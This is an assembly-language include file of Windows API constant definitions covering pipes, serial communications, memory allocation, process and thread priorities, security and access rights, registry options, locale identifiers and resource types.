PIPE_ACCESS_INBOUND equ 1h
PIPE_ACCESS_OUTBOUND equ 2h
PIPE_ACCESS_DUPLEX equ 3h
PIPE_CLIENT_END equ 0h
PIPE_SERVER_END equ 1h
PIPE_WAIT equ 0h
PIPE_NOWAIT equ 1h
PIPE_READMODE_BYTE equ 0h
PIPE_READMODE_MESSAGE equ 2h
PIPE_TYPE_BYTE equ 0h
PIPE_TYPE_MESSAGE equ 4h
PIPE_UNLIMITED_INSTANCES equ 255
SECURITY_CONTEXT_TRACKING equ 40000h
SECURITY_EFFECTIVE_ONLY equ 80000h
SECURITY_SQOS_PRESENT equ 100000h
SECURITY_VALID_SQOS_FLAGS equ 1F0000h
SP_SERIALCOMM equ 1h
PST_UNSPECIFIED equ 0h
PST_RS232 equ 1h
PST_PARALLELPORT equ 2h
PST_RS422 equ 3h
PST_RS423 equ 4h
PST_RS449 equ 5h
PST_FAX equ 21h
PST_SCANNER equ 22h
PST_NETWORK_BRIDGE equ 100h
PST_LAT equ 101h
PST_TCPIP_TELNET equ 102h
PST_X25 equ 103h
PCF_DTRDSR equ 1h
PCF_RTSCTS equ 2h
PCF_RLSD equ 4h
PCF_PARITY_CHECK equ 8h
PCF_XONXOFF equ 10h
PCF_SETXCHAR equ 20h
PCF_TOTALTIMEOUTS equ 40h
PCF_INTTIMEOUTS equ 80h
PCF_SPECIALCHARS equ 100h
PCF_16BITMODE equ 200h
DLL_PROCESS_DETACH equ 0
DLL_PROCESS_ATTACH equ 1
DLL_THREAD_ATTACH equ 2
DLL_THREAD_DETACH equ 3
SP_PARITY equ 1h
SP_BAUD equ 2h
SP_DATABITS equ 4h
SP_STOPBITS equ 8h
SP_HANDSHAKING equ 10h
SP_PARITY_CHECK equ 20h
SP_RLSD equ 40h
BAUD_075 equ 1h
BAUD_110 equ 2h
BAUD_134_5 equ 4h
BAUD_150 equ 8h
BAUD_300 equ 10h
BAUD_600 equ 20h
BAUD_1200 equ 40h
BAUD_1800 equ 80h
BAUD_2400 equ 100h
BAUD_4800 equ 200h
BAUD_7200 equ 400h
BAUD_9600 equ 800h
BAUD_14400 equ 1000h
BAUD_19200 equ 2000h
BAUD_38400 equ 4000h
BAUD_56K equ 8000h
BAUD_128K equ 10000h
BAUD_115200 equ 20000h
BAUD_57600 equ 40000h
BAUD_USER equ 10000000h
DATABITS_5 equ 1h
DATABITS_6 equ 2h
DATABITS_7 equ 4h
DATABITS_8 equ 8h
DATABITS_16 equ 10h
DATABITS_16X equ 20h
STOPBITS_10 equ 1h
STOPBITS_15 equ 2h
STOPBITS_20 equ 4h
PARITY_NONE equ 100h
PARITY_ODD equ 200h
PARITY_EVEN equ 400h
PARITY_MARK equ 800h
PARITY_SPACE equ 1000h
DTR_CONTROL_DISABLE equ 0h
DTR_CONTROL_ENABLE equ 1h
DTR_CONTROL_HANDSHAKE equ 2h
RTS_CONTROL_DISABLE equ 0h
RTS_CONTROL_ENABLE equ 1h
RTS_CONTROL_HANDSHAKE equ 2h
RTS_CONTROL_TOGGLE equ 3h
GMEM_FIXED equ 0h
GMEM_MOVEABLE equ 2h
GMEM_NOCOMPACT equ 10h
GMEM_NODISCARD equ 20h
GMEM_ZEROINIT equ 40h
GMEM_MODIFY equ 80h
GMEM_DISCARDABLE equ 100h
GMEM_NOT_BANKED equ 1000h
GMEM_SHARE equ 2000h
GMEM_DDESHARE equ 2000h
GMEM_NOTIFY equ 4000h
GMEM_LOWER equ GMEM_NOT_BANKED
GMEM_VALID_FLAGS equ 7F72h
GMEM_INVALID_HANDLE equ 8000h
GMEM_DISCARDED equ 4000h
GMEM_LOCKCOUNT equ 0FFh
GHND equ GMEM_MOVEABLE|GMEM_ZEROINIT
GPTR equ GMEM_FIXED|GMEM_ZEROINIT
LMEM_FIXED equ 0h
LMEM_MOVEABLE equ 2h
LMEM_NOCOMPACT equ 10h
LMEM_NODISCARD equ 20h
LMEM_ZEROINIT equ 40h
LMEM_MODIFY equ 80h
LMEM_DISCARDABLE equ 0F00h
LMEM_VALID_FLAGS equ 0F72h
LMEM_INVALID_HANDLE equ 8000h
LHND equ LMEM_MOVEABLE+LMEM_ZEROINIT
LPTR equ LMEM_FIXED+LMEM_ZEROINIT
NONZEROLHND equ LMEM_MOVEABLE
NONZEROLPTR equ LMEM_FIXED
LMEM_DISCARDED equ 4000h
LMEM_LOCKCOUNT equ 0FFh
DEBUG_PROCESS equ 1h
DEBUG_ONLY_THIS_PROCESS equ 2h
CREATE_SUSPENDED equ 4h
DETACHED_PROCESS equ 8h
CREATE_NEW_CONSOLE equ 10h
NORMAL_PRIORITY_CLASS equ 20h
IDLE_PRIORITY_CLASS equ 40h
HIGH_PRIORITY_CLASS equ 80h
REALTIME_PRIORITY_CLASS equ 100h
CREATE_NEW_PROCESS_GROUP equ 200h
CREATE_NO_WINDOW equ 8000000h
PROFILE_USER equ 10000000h
PROFILE_KERNEL equ 20000000h
PROFILE_SERVER equ 40000000h
MAXLONG equ 7FFFFFFFh
THREAD_BASE_PRIORITY_MIN equ -2
THREAD_BASE_PRIORITY_MAX equ 2
THREAD_BASE_PRIORITY_LOWRT equ 15
THREAD_BASE_PRIORITY_IDLE equ -15
THREAD_PRIORITY_LOWEST equ THREAD_BASE_PRIORITY_MIN
THREAD_PRIORITY_BELOW_NORMAL equ THREAD_PRIORITY_LOWEST+1
THREAD_PRIORITY_NORMAL equ 0
THREAD_PRIORITY_HIGHEST equ THREAD_BASE_PRIORITY_MAX
THREAD_PRIORITY_ABOVE_NORMAL equ THREAD_PRIORITY_HIGHEST-1
THREAD_PRIORITY_ERROR_RETURN equ MAXLONG
THREAD_PRIORITY_TIME_CRITICAL equ THREAD_BASE_PRIORITY_LOWRT
THREAD_PRIORITY_IDLE equ THREAD_BASE_PRIORITY_IDLE
APPLICATION_ERROR_MASK equ 20000000h
ERROR_SEVERITY_SUCCESS equ 0h
ERROR_SEVERITY_INFORMATIONAL equ 40000000h
ERROR_SEVERITY_WARNING equ 80000000h
ERROR_SEVERITY_ERROR equ 0C0000000h
MINCHAR equ 80h
MAXCHAR equ 7Fh
MINSHORT equ 8000h
MAXSHORT equ 7FFFh
MINLONG equ 80000000h
MAXBYTE equ 0FFh
MAXWORD equ 0FFFFh
MAXDWORD equ 0FFFFFFFFh
LANG_NEUTRAL equ 0h
LANG_BULGARIAN equ 2h
LANG_CHINESE equ 4h
LANG_CROATIAN equ 1Ah
LANG_CZECH equ 5h
LANG_DANISH equ 6h
LANG_DUTCH equ 13h
LANG_ENGLISH equ 9h
LANG_FINNISH equ 0Bh
LANG_FRENCH equ 0Ch
LANG_GERMAN equ 7h
LANG_GREEK equ 8h
LANG_HUNGARIAN equ 0Eh
LANG_ICELANDIC equ 0Fh
LANG_ITALIAN equ 10h
LANG_JAPANESE equ 11h
LANG_KOREAN equ 12h
LANG_NORWEGIAN equ 14h
LANG_POLISH equ 15h
LANG_PORTUGUESE equ 16h
LANG_ROMANIAN equ 18h
LANG_RUSSIAN equ 19h
LANG_SLOVAK equ 1Bh
LANG_SLOVENIAN equ 24h
LANG_SPANISH equ 0Ah
LANG_SWEDISH equ 1Dh
LANG_TURKISH equ 1Fh
SUBLANG_NEUTRAL equ 0h
SUBLANG_DEFAULT equ 1h
SUBLANG_SYS_DEFAULT equ 2h
SUBLANG_CHINESE_TRADITIONAL equ 1h
SUBLANG_CHINESE_SIMPLIFIED equ 2h
SUBLANG_CHINESE_HONGKONG equ 3h
SUBLANG_CHINESE_SINGAPORE equ 4h
SUBLANG_DUTCH equ 1h
SUBLANG_DUTCH_BELGIAN equ 2h
SUBLANG_ENGLISH_US equ 1h
SUBLANG_ENGLISH_UK equ 2h
SUBLANG_ENGLISH_AUS equ 3h
SUBLANG_ENGLISH_CAN equ 4h
SUBLANG_ENGLISH_NZ equ 5h
SUBLANG_ENGLISH_EIRE equ 6h
SUBLANG_FRENCH equ 1h
SUBLANG_FRENCH_BELGIAN equ 2h
SUBLANG_FRENCH_CANADIAN equ 3h
SUBLANG_FRENCH_SWISS equ 4h
SUBLANG_GERMAN equ 1h
SUBLANG_GERMAN_SWISS equ 2h
SUBLANG_GERMAN_AUSTRIAN equ 3h
SUBLANG_ITALIAN equ 1h
SUBLANG_ITALIAN_SWISS equ 2h
SUBLANG_NORWEGIAN_BOKMAL equ 1h
SUBLANG_NORWEGIAN_NYNORSK equ 2h
SUBLANG_PORTUGUESE equ 2h
SUBLANG_PORTUGUESE_BRAZILIAN equ 1h
SUBLANG_SPANISH equ 1h
SUBLANG_SPANISH_MEXICAN equ 2h
SUBLANG_SPANISH_MODERN equ 3h
SORT_DEFAULT equ 0h
SORT_JAPANESE_XJIS equ 0h
SORT_JAPANESE_UNICODE equ 1h
SORT_CHINESE_BIG5 equ 0h
SORT_CHINESE_UNICODE equ 1h
SORT_KOREAN_KSC equ 0h
SORT_KOREAN_UNICODE equ 1h
FILE_READ_DATA equ 1h
FILE_LIST_DIRECTORY equ 1h
FILE_WRITE_DATA equ 2h
FILE_ADD_FILE equ 2h
FILE_APPEND_DATA equ 4h
FILE_ADD_SUBDIRECTORY equ 4h
FILE_CREATE_PIPE_INSTANCE equ 4h
FILE_READ_EA equ 8h
FILE_READ_PROPERTIES equ FILE_READ_EA
FILE_WRITE_EA equ 10h
FILE_WRITE_PROPERTIES equ FILE_WRITE_EA
FILE_EXECUTE equ 20h
FILE_TRAVERSE equ 20h
FILE_DELETE_CHILD equ 40h
FILE_READ_ATTRIBUTES equ 80h
FILE_WRITE_ATTRIBUTES equ 100h
FILE_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|1FFh
FILE_GENERIC_READ equ STANDARD_RIGHTS_READ|FILE_READ_DATA|FILE_READ_ATTRIBUTES|FILE_READ_EA|
SYNCHRONIZE
FILE_GENERIC_WRITE equ STANDARD_RIGHTS_WRITE|FILE_WRITE_DATA|FILE_WRITE_ATTRIBUTES|
FILE_WRITE_EA|FILE_APPEND_DATA|SYNCHRONIZE
FILE_GENERIC_EXECUTE equ STANDARD_RIGHTS_EXECUTE|FILE_READ_ATTRIBUTES|FILE_EXECUTE|SYNCHRONIZE
FILE_SHARE_READ equ 1h
FILE_SHARE_WRITE equ 2h
FILE_ATTRIBUTE_READONLY equ 1h
FILE_ATTRIBUTE_HIDDEN equ 2h
FILE_ATTRIBUTE_SYSTEM equ 4h
FILE_ATTRIBUTE_DIRECTORY equ 10h
FILE_ATTRIBUTE_ARCHIVE equ 20h
FILE_ATTRIBUTE_NORMAL equ 80h
FILE_ATTRIBUTE_TEMPORARY equ 100h
FILE_ATTRIBUTE_COMPRESSED equ 800h
FILE_NOTIFY_CHANGE_FILE_NAME equ 1h
FILE_NOTIFY_CHANGE_DIR_NAME equ 2h
FILE_NOTIFY_CHANGE_ATTRIBUTES equ 4h
FILE_NOTIFY_CHANGE_SIZE equ 8h
FILE_NOTIFY_CHANGE_LAST_WRITE equ 10h
FILE_NOTIFY_CHANGE_SECURITY equ 100h
MAILSLOT_NO_MESSAGE equ -1
MAILSLOT_WAIT_FOREVER equ -1
FILE_CASE_SENSITIVE_SEARCH equ 1h
FILE_CASE_PRESERVED_NAMES equ 2h
FILE_UNICODE_ON_DISK equ 4h
FILE_PERSISTENT_ACLS equ 8h
FILE_FILE_COMPRESSION equ 10h
FILE_VOLUME_IS_COMPRESSED equ 8000h
IO_COMPLETION_MODIFY_STATE equ 2h
IO_COMPLETION_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|3h
DUPLICATE_CLOSE_SOURCE equ 1h
DUPLICATE_SAME_ACCESS equ 2h
ACCESS_SYSTEM_SECURITY equ 1000000h
MAXIMUM_ALLOWED equ 2000000h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
GENERIC_EXECUTE equ 20000000h
GENERIC_ALL equ 10000000h
ACL_REVISION equ 2
ACL_REVISION1 equ 1
ACL_REVISION2 equ 2
ACCESS_ALLOWED_ACE_TYPE equ 0h
ACCESS_DENIED_ACE_TYPE equ 1h
SYSTEM_AUDIT_ACE_TYPE equ 2h
SYSTEM_ALARM_ACE_TYPE equ 3h
HELPINFO_WINDOW equ 1
HELPINFO_MENUITEM equ 2
OBJECT_INHERIT_ACE equ 1h
CONTAINER_INHERIT_ACE equ 2h
NO_PROPAGATE_INHERIT_ACE equ 4h
INHERIT_ONLY_ACE equ 8h
VALID_INHERIT_FLAGS equ 0Fh
SUCCESSFUL_ACCESS_ACE_FLAG equ 40h
FAILED_ACCESS_ACE_FLAG equ 80h
AclRevisionInformation equ 1
AclSizeInformation equ 2
SECURITY_DESCRIPTOR_REVISION equ 1
SECURITY_DESCRIPTOR_REVISION1 equ 1
SECURITY_DESCRIPTOR_MIN_LENGTH equ 20
SE_OWNER_DEFAULTED equ 1h
SE_GROUP_DEFAULTED equ 2h
SE_DACL_PRESENT equ 4h
SE_DACL_DEFAULTED equ 8h
SE_SACL_PRESENT equ 10h
SE_SACL_DEFAULTED equ 20h
SE_SELF_RELATIVE equ 8000h
SE_PRIVILEGE_ENABLED_BY_DEFAULT equ 1h
SE_PRIVILEGE_ENABLED equ 2h
SE_PRIVILEGE_USED_FOR_ACCESS equ 80000000h
PRIVILEGE_SET_ALL_NECESSARY equ 1
SecurityAnonymous equ 1
SecurityIdentification equ 2
REG_OPTION_RESERVED equ 0
REG_OPTION_NON_VOLATILE equ 0
REG_OPTION_VOLATILE equ 1
REG_OPTION_CREATE_LINK equ 2
REG_OPTION_BACKUP_RESTORE equ 4
REG_NONE equ 0
REG_SZ equ 1
REG_EXPAND_SZ equ 2
REG_BINARY equ 3
REG_DWORD equ 4
REG_DWORD_LITTLE_ENDIAN equ 4
REG_DWORD_BIG_ENDIAN equ 5
REG_LINK equ 6
REG_MULTI_SZ equ 7
REG_RESOURCE_LIST equ 8
REG_FULL_RESOURCE_DESCRIPTOR equ 9
REG_RESOURCE_REQUIREMENTS_LIST equ 10
REG_CREATED_NEW_KEY equ 1h
REG_OPENED_EXISTING_KEY equ 2h
REG_WHOLE_HIVE_VOLATILE equ 1h
REG_REFRESH_HIVE equ 2h
REG_NOTIFY_CHANGE_NAME equ 1h
REG_NOTIFY_CHANGE_ATTRIBUTES equ 2h
REG_NOTIFY_CHANGE_LAST_SET equ 4h
REG_NOTIFY_CHANGE_SECURITY equ 8h
REG_LEGAL_CHANGE_FILTER equ REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_ATTRIBUTES|
REG_NOTIFY_CHANGE_LAST_SET|REG_NOTIFY_CHANGE_SECURITY
REG_LEGAL_OPTION equ REG_OPTION_RESERVED|REG_OPTION_NON_VOLATILE|REG_OPTION_VOLATILE|
REG_OPTION_CREATE_LINK|REG_OPTION_BACKUP_RESTORE
KEY_QUERY_VALUE equ 1h
KEY_SET_VALUE equ 2h
KEY_CREATE_SUB_KEY equ 4h
KEY_ENUMERATE_SUB_KEYS equ 8h
KEY_NOTIFY equ 10h
KEY_CREATE_LINK equ 20h
KEY_READ equ STANDARD_RIGHTS_READ|KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY&(-1-
SYNCHRONIZE)
KEY_WRITE equ STANDARD_RIGHTS_WRITE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|SYNCHRONIZE&(-1-
SYNCHRONIZE)
KEY_EXECUTE equ KEY_READ
KEY_ALL_ACCESS equ STANDARD_RIGHTS_ALL|KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|
KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY|KEY_CREATE_LINK&(-1-SYNCHRONIZE)
EXCEPTION_DEBUG_EVENT equ 1
CREATE_THREAD_DEBUG_EVENT equ 2
CREATE_PROCESS_DEBUG_EVENT equ 3
EXIT_THREAD_DEBUG_EVENT equ 4
EXIT_PROCESS_DEBUG_EVENT equ 5
LOAD_DLL_DEBUG_EVENT equ 6
UNLOAD_DLL_DEBUG_EVENT equ 7
OUTPUT_DEBUG_STRING_EVENT equ 8
RIP_EVENT equ 9
EXCEPTION_MAXIMUM_PARAMETERS equ 15
DRIVE_REMOVABLE equ 2
DRIVE_FIXED equ 3
DRIVE_REMOTE equ 4
DRIVE_CDROM equ 5
DRIVE_RAMDISK equ 6
FILE_TYPE_UNKNOWN equ 0h
FILE_TYPE_DISK equ 1h
FILE_TYPE_CHAR equ 2h
FILE_TYPE_PIPE equ 3h
FILE_TYPE_REMOTE equ 8000h
STD_INPUT_HANDLE equ -10
STD_OUTPUT_HANDLE equ -11
STD_ERROR_HANDLE equ -12
NOPARITY equ 0
ODDPARITY equ 1
EVENPARITY equ 2
MARKPARITY equ 3
SPACEPARITY equ 4
ONESTOPBIT equ 0
ONE5STOPBITS equ 1
TWOSTOPBITS equ 2
IGNORE equ 0
INFINITE equ 0FFFFh
CBR_110 equ 110
CBR_300 equ 300
CBR_600 equ 600
CBR_1200 equ 1200
CBR_2400 equ 2400
CBR_4800 equ 4800
CBR_9600 equ 9600
CBR_14400 equ 14400
CBR_19200 equ 19200
CBR_38400 equ 38400
CBR_56000 equ 56000
CBR_57600 equ 57600
CBR_115200 equ 115200
CBR_128000 equ 128000
CBR_256000 equ 256000
CE_RXOVER equ 1h
CE_OVERRUN equ 2h
CE_RXPARITY equ 4h
CE_FRAME equ 8h
CE_BREAK equ 10h
CE_TXFULL equ 100h
CE_PTO equ 200h
CE_IOE equ 400h
CE_DNS equ 800h
CE_OOP equ 1000h
CE_MODE equ 8000h
IE_BADID equ -1
IE_OPEN equ -2
IE_NOPEN equ -3
IE_MEMORY equ -4
IE_DEFAULT equ -5
IE_HARDWARE equ -10
IE_BYTESIZE equ -11
IE_BAUDRATE equ -12
EV_RXCHAR equ 1h
EV_RXFLAG equ 2h
EV_TXEMPTY equ 4h
EV_CTS equ 8h
EV_DSR equ 10h
EV_RLSD equ 20h
EV_BREAK equ 40h
EV_ERR equ 80h
EV_RING equ 100h
EV_PERR equ 200h
EV_RX80FULL equ 400h
EV_EVENT1 equ 800h
EV_EVENT2 equ 1000h
SETXOFF equ 1
SETXON equ 2
SETRTS equ 3
CLRRTS equ 4
SETDTR equ 5
CLRDTR equ 6
RESETDEV equ 7
SETBREAK equ 8
CLRBREAK equ 9
PURGE_TXABORT equ 1h
PURGE_RXABORT equ 2h
PURGE_TXCLEAR equ 4h
PURGE_RXCLEAR equ 8h
LPTx equ 80h
MS_CTS_ON equ 10h
MS_DSR_ON equ 20h
MS_RING_ON equ 40h
MS_RLSD_ON equ 80h
S_QUEUEEMPTY equ 0
S_THRESHOLD equ 1
S_ALLTHRESHOLD equ 2
S_NORMAL equ 0
S_LEGATO equ 1
S_STACCATO equ 2
S_PERIOD512 equ 0
S_PERIOD1024 equ 1
S_PERIOD2048 equ 2
S_PERIODVOICE equ 3
S_WHITE512 equ 4
S_WHITE1024 equ 5
S_WHITE2048 equ 6
S_WHITEVOICE equ 7
S_SERDVNA equ -1
S_SEROFM equ -2
S_SERMACT equ -3
S_SERQFUL equ -4
S_SERBDNT equ -5
S_SERDLN equ -6
S_SERDCC equ -7
S_SERDTP equ -8
S_SERDVL equ -9
S_SERDMD equ -10
S_SERDSH equ -11
S_SERDPT equ -12
S_SERDFQ equ -13
S_SERDDR equ -14
S_SERDSR equ -15
S_SERDST equ -16
NMPWAIT_WAIT_FOREVER equ 0FFFFh
NMPWAIT_NOWAIT equ 1h
NMPWAIT_USE_DEFAULT_WAIT equ 0h
FS_CASE_IS_PRESERVED equ FILE_CASE_PRESERVED_NAMES
FS_CASE_SENSITIVE equ FILE_CASE_SENSITIVE_SEARCH
FS_UNICODE_STORED_ON_DISK equ FILE_UNICODE_ON_DISK
FS_PERSISTENT_ACLS equ FILE_PERSISTENT_ACLS
SECTION_QUERY equ 1h
SECTION_MAP_WRITE equ 2h
SECTION_MAP_READ equ 4h
SECTION_MAP_EXECUTE equ 8h
SECTION_EXTEND_SIZE equ 10h
SECTION_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SECTION_QUERY|SECTION_MAP_WRITE|
SECTION_MAP_READ|SECTION_MAP_EXECUTE|SECTION_EXTEND_SIZE
FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS
OF_READ equ 0h
OF_WRITE equ 1h
OF_READWRITE equ 2h
OF_SHARE_COMPAT equ 0h
OF_SHARE_EXCLUSIVE equ 10h
OF_SHARE_DENY_WRITE equ 20h
OF_SHARE_DENY_READ equ 30h
OF_SHARE_DENY_NONE equ 40h
OF_PARSE equ 100h
OF_DELETE equ 200h
OF_VERIFY equ 400h
OF_CANCEL equ 800h
OF_CREATE equ 1000h
OF_PROMPT equ 2000h
OF_EXIST equ 4000h
OF_REOPEN equ 8000h
OFS_MAXPATHNAME equ 128
DONT_RESOLVE_DLL_REFERENCES equ 1h
TC_NORMAL equ 0
TC_HARDERR equ 1
TC_GP_TRAP equ 2
TC_SIGNAL equ 3
MAX_LEADBYTES equ 12
MB_PRECOMPOSED equ 1h
MB_COMPOSITE equ 2h
MB_USEGLYPHCHARS equ 4h
WC_DEFAULTCHECK equ 100h
WC_COMPOSITECHECK equ 200h
WC_DISCARDNS equ 10h
WC_SEPCHARS equ 20h
WC_DEFAULTCHAR equ 40h
CT_CTYPE1 equ 1h
CT_CTYPE2 equ 2h
CT_CTYPE3 equ 4h
C1_UPPER equ 1h
C1_LOWER equ 2h
C1_DIGIT equ 4h
C1_SPACE equ 8h
C1_PUNCT equ 10h
C1_CNTRL equ 20h
C1_BLANK equ 40h
C1_XDIGIT equ 80h
C1_ALPHA equ 100h
C2_LEFTTORIGHT equ 1h
C2_RIGHTTOLEFT equ 2h
C2_EUROPENUMBER equ 3h
C2_EUROPESEPARATOR equ 4h
C2_EUROPETERMINATOR equ 5h
C2_ARABICNUMBER equ 6h
C2_COMMONSEPARATOR equ 7h
C2_BLOCKSEPARATOR equ 8h
C2_SEGMENTSEPARATOR equ 9h
C2_WHITESPACE equ 0Ah
C2_OTHERNEUTRAL equ 0Bh
C2_NOTAPPLICABLE equ 0h
C3_NONSPACING equ 1h
C3_DIACRITIC equ 2h
C3_VOWELMARK equ 4h
C3_SYMBOL equ 8h
C3_NOTAPPLICABLE equ 0h
NORM_IGNORECASE equ 1h
NORM_IGNORENONSPACE equ 2h
NORM_IGNORESYMBOLS equ 4h
MAP_FOLDCZONE equ 10h
MAP_PRECOMPOSED equ 20h
MAP_COMPOSITE equ 40h
MAP_FOLDDIGITS equ 80h
LCMAP_LOWERCASE equ 100h
LCMAP_UPPERCASE equ 200h
LCMAP_SORTKEY equ 400h
LCMAP_BYTEREV equ 800h
SORT_STRINGSORT equ 1000h
CP_ACP equ 0
CP_OEMCP equ 1
CTRY_DEFAULT equ 0
CTRY_AUSTRALIA equ 61
CTRY_AUSTRIA equ 43
CTRY_BELGIUM equ 32
CTRY_BRAZIL equ 55
CTRY_CANADA equ 2
CTRY_DENMARK equ 45
CTRY_FINLAND equ 358
CTRY_FRANCE equ 33
CTRY_GERMANY equ 49
CTRY_ICELAND equ 354
CTRY_IRELAND equ 353
CTRY_ITALY equ 39
CTRY_JAPAN equ 81
CTRY_MEXICO equ 52
CTRY_NETHERLANDS equ 31
CTRY_NEW_ZEALAND equ 64
CTRY_NORWAY equ 47
CTRY_PORTUGAL equ 351
CTRY_PRCHINA equ 86
CTRY_SOUTH_KOREA equ 82
CTRY_SPAIN equ 34
CTRY_SWEDEN equ 46
CTRY_SWITZERLAND equ 41
CTRY_TAIWAN equ 886
CTRY_UNITED_KINGDOM equ 44
CTRY_UNITED_STATES equ 1
LOCALE_NOUSEROVERRIDE equ 80000000h
LOCALE_USER_DEFAULT equ 0000h
LOCALE_ILANGUAGE equ 1h
LOCALE_SLANGUAGE equ 2h
LOCALE_SENGLANGUAGE equ 1001h
LOCALE_SABBREVLANGNAME equ 3h
LOCALE_SNATIVELANGNAME equ 4h
LOCALE_ICOUNTRY equ 5h
LOCALE_SCOUNTRY equ 6h
LOCALE_SENGCOUNTRY equ 1002h
LOCALE_SABBREVCTRYNAME equ 7h
LOCALE_SNATIVECTRYNAME equ 8h
LOCALE_IDEFAULTLANGUAGE equ 9h
LOCALE_IDEFAULTCOUNTRY equ 0Ah
LOCALE_IDEFAULTCODEPAGE equ 0Bh
LOCALE_SLIST equ 0Ch
LOCALE_IMEASURE equ 0Dh
LOCALE_SDECIMAL equ 0Eh
LOCALE_STHOUSAND equ 0Fh
LOCALE_SGROUPING equ 10h
LOCALE_IDIGITS equ 11h
LOCALE_ILZERO equ 12h
LOCALE_SNATIVEDIGITS equ 13h
LOCALE_SCURRENCY equ 14h
LOCALE_SINTLSYMBOL equ 15h
LOCALE_SMONDECIMALSEP equ 16h
LOCALE_SMONTHOUSANDSEP equ 17h
LOCALE_SMONGROUPING equ 18h
LOCALE_ICURRDIGITS equ 19h
LOCALE_IINTLCURRDIGITS equ 1Ah
LOCALE_ICURRENCY equ 1Bh
LOCALE_INEGCURR equ 1Ch
LOCALE_SDATE equ 1Dh
LOCALE_STIME equ 1Eh
LOCALE_SSHORTDATE equ 1Fh
LOCALE_SLONGDATE equ 20h
LOCALE_STIMEFORMAT equ 1003h
LOCALE_IDATE equ 21h
LOCALE_ILDATE equ 22h
LOCALE_ITIME equ 23h
LOCALE_ICENTURY equ 24h
LOCALE_ITLZERO equ 25h
LOCALE_IDAYLZERO equ 26h
LOCALE_IMONLZERO equ 27h
LOCALE_S1159 equ 28h
LOCALE_S2359 equ 29h
LOCALE_SDAYNAME1 equ 2Ah
LOCALE_SDAYNAME2 equ 2Bh
LOCALE_SDAYNAME3 equ 2Ch
LOCALE_SDAYNAME4 equ 2Dh
LOCALE_SDAYNAME5 equ 2Eh
LOCALE_SDAYNAME6 equ 2Fh
LOCALE_SDAYNAME7 equ 30h
LOCALE_SABBREVDAYNAME1 equ 31h
LOCALE_SABBREVDAYNAME2 equ 32h
LOCALE_SABBREVDAYNAME3 equ 33h
LOCALE_SABBREVDAYNAME4 equ 34h
LOCALE_SABBREVDAYNAME5 equ 35h
LOCALE_SABBREVDAYNAME6 equ 36h
LOCALE_SABBREVDAYNAME7 equ 37h
LOCALE_SMONTHNAME1 equ 38h
LOCALE_SMONTHNAME2 equ 39h
LOCALE_SMONTHNAME3 equ 3Ah
LOCALE_SMONTHNAME4 equ 3Bh
LOCALE_SMONTHNAME5 equ 3Ch
LOCALE_SMONTHNAME6 equ 3Dh
LOCALE_SMONTHNAME7 equ 3Eh
LOCALE_SMONTHNAME8 equ 3Fh
LOCALE_SMONTHNAME9 equ 40h
LOCALE_SMONTHNAME10 equ 41h
LOCALE_SMONTHNAME11 equ 42h
LOCALE_SMONTHNAME12 equ 43h
LOCALE_SABBREVMONTHNAME1 equ 44h
LOCALE_SABBREVMONTHNAME2 equ 45h
LOCALE_SABBREVMONTHNAME3 equ 46h
LOCALE_SABBREVMONTHNAME4 equ 47h
LOCALE_SABBREVMONTHNAME5 equ 48h
LOCALE_SABBREVMONTHNAME6 equ 49h
LOCALE_SABBREVMONTHNAME7 equ 4Ah
LOCALE_SABBREVMONTHNAME8 equ 4Bh
LOCALE_SABBREVMONTHNAME9 equ 4Ch
LOCALE_SABBREVMONTHNAME10 equ 4Dh
LOCALE_SABBREVMONTHNAME11 equ 4Eh
LOCALE_SABBREVMONTHNAME12 equ 4Fh
LOCALE_SABBREVMONTHNAME13 equ 100Fh
LOCALE_SPOSITIVESIGN equ 50h
LOCALE_SNEGATIVESIGN equ 51h
LOCALE_IPOSSIGNPOSN equ 52h
LOCALE_INEGSIGNPOSN equ 53h
LOCALE_IPOSSYMPRECEDES equ 54h
LOCALE_IPOSSEPBYSPACE equ 55h
LOCALE_INEGSYMPRECEDES equ 56h
LOCALE_INEGSEPBYSPACE equ 57h
TIME_NOMINUTESORSECONDS equ 1h
TIME_NOSECONDS equ 2h
TIME_NOTIMEMARKER equ 4h
TIME_FORCE24HOURFORMAT equ 8h
DATE_SHORTDATE equ 1h
DATE_LONGDATE equ 2h
TF_FORCEDRIVE equ 80h
LOCKFILE_FAIL_IMMEDIATELY equ 1h
LOCKFILE_EXCLUSIVE_LOCK equ 2h
LNOTIFY_OUTOFMEM equ 0
LNOTIFY_MOVE equ 1
LNOTIFY_DISCARD equ 2
SLE_ERROR equ 1h
SLE_MINORERROR equ 2h
SLE_WARNING equ 3h
SEM_FAILCRITICALERRORS equ 1h
SEM_NOGPFAULTERRORBOX equ 2h
SEM_NOOPENFILEERRORBOX equ 8000h
RT_CURSOR equ 1
RT_BITMAP equ 2
RT_ICON equ 3
RT_MENU equ 4
RT_DIALOG equ 5
RT_STRING equ 6
RT_FONTDIR equ 7
RT_FONT equ 8
RT_ACCELERATOR equ 9
RT_RCDATA equ 10
DFC_CAPTION equ 1
DFC_MENU equ 2
DFC_SCROLL equ 3
DFC_BUTTON equ 4
DFCS_CAPTIONCLOSE equ 0000h
DFCS_CAPTIONMIN equ 0001h
DFCS_CAPTIONMAX equ 0002h
DFCS_CAPTIONRESTORE equ 0003h
DFCS_CAPTIONHELP equ 0004h
DFCS_MENUARROW equ 0000h
DFCS_MENUCHECK equ 0001h
DFCS_MENUBULLET equ 0002h
DFCS_MENUARROWRIGHT equ 0004h
DFCS_SCROLLUP equ 0000h
DFCS_SCROLLDOWN equ 0001h
DFCS_SCROLLLEFT equ 0002h
DFCS_SCROLLRIGHT equ 0003h
DFCS_SCROLLCOMBOBOX equ 0005h
DFCS_SCROLLSIZEGRIP equ 0008h
DFCS_SCROLLSIZEGRIPRIGHT equ 0010h
DFCS_BUTTONCHECK equ 0000h
